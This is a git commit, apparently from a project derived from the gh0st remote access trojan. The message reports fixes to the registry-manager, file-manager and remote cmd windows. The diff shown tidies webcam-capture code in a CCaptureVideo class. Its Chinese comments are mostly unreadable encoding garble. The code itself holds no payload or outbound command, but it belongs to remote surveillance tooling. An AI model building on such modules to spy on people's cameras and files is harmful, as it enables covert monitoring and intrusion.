修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
This commit is contained in:
yuanyuanxiang
2019-01-12 18:21:42 +08:00
parent 135a3439d1
commit 681ab9bd82
30 changed files with 913 additions and 562 deletions

View File

@@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
{
if(FAILED(CoInitialize(NULL)))
{
return;
}
m_pCapture = NULL;
@@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{
HRESULT hResult;
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>
if (FAILED(hResult))
@@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰󶨵<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult))
@@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult;
}
//???
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult))
{
@@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
}
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
@@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
} while (szBuffer==NULL);